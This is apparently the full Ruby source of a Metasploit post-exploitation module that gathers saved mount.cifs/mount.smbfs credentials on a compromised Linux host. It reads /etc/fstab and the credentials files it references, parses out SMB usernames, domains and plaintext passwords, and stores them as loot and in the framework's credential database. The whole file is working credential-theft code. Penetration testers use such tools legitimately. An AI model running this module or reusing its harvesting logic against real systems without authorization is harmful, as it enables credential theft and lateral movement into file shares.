metasploit-framework/modules/post/linux/gather/mount_cifs_creds.rb

193 lines
5.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
'Description' => %q{
Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
/etc/fstab on a Linux system.
},
'License' => MSF_LICENSE,
'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
)
)
end
def run
# keep track of any of the credentials files we read so we only read them once
cred_files = []
# where we'll store hashes of found credentials while parsing. reporting is done at the end.
creds = []
# A table to store the found credentials for loot storage afterward
cred_table = Rex::Text::Table.new(
'Header' => 'mount.cifs credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
'Password',
'Server',
'File'
]
)
# parse each line from /etc/fstab
fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')
read_file('/etc/fstab').each_line do |fstab_line|
fstab_line.strip!
# where we'll store the current parsed credentials, if any
cred = {}
# if the fstab line utilizies the credentials= option, read the credentials from that file
next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})
cred[:host] = ::Regexp.last_match(1)
# IPs can occur using the ip option, which is a backup/alternative
# to letting UNC resolution do its thing
cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
file = ::Regexp.last_match(1)
# skip if we've already parsed this credentials file
next if cred_files.include?(file)
# store it if we haven't
cred_files << file
# parse the credentials
cred.merge!(parse_credentials_file(file))
# if the credentials are directly in /etc/fstab, parse them
elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})
cred.merge!(parse_fstab_credentials(fstab_line))
end
creds << cred
end
# all done. clean up, report and loot.
creds.flatten!
creds.compact!
creds.uniq!
creds.each do |cred|
if Rex::Socket.dotted_ip?(cred[:host])
report_cred(
ip: cred[:host],
port: 445,
service_name: 'smb',
user: cred[:user],
password: cred[:pass],
proof: '/etc/fstab'
)
end
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
end
# store all found credentials
unless cred_table.rows.empty?
print_line("\n" + cred_table.to_s)
p = store_loot(
'mount.cifs.creds',
'text/csv',
session,
cred_table.to_csv,
'mount_cifs_credentials.txt',
'mount.cifs credentials'
)
print_status("CIFS credentials saved in: #{p}")
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password,
session_id: session_db_id,
post_reference_name: refname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
# Returns the username+domain and password as a hash.
def parse_fstab_credentials(line, file = '/etc/fstab')
creds = {}
# get the username option, which comes in one of four ways
user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)
if user_opt
case user_opt
# domain/user%pass
when %r{^([^/]+)/([^%]+)%(.*)$}
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
creds[:pass] = ::Regexp.last_match(3)
# domain/user
when %r{^([^/]+)/([^%]+)$}
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
# user%password
when /^([^%]+)%(.*)$/
creds[:user] = ::Regexp.last_match(1)
creds[:pass] = ::Regexp.last_match(2)
# user
else
creds[:user] = user_opt
end
end
# get the password option if any
creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)
# get the domain option, if any
creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
creds[:file] = file unless creds.empty?
creds
end
# Parse mount.cifs credentials from +file+, returning the username+domain and password
# as a hash.
def parse_credentials_file(file)
creds = {}
domain = nil
read_file(file).each_line do |credfile_line|
case credfile_line
when /domain=(.*)/
domain = ::Regexp.last_match(1)
when /password=(.*)/
creds[:pass] = ::Regexp.last_match(1)
when /username=(.*)/
creds[:user] = ::Regexp.last_match(1)
end
end
# prepend the domain if one was found
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain && creds[:user])
creds[:file] = file unless creds.empty?
creds
end
end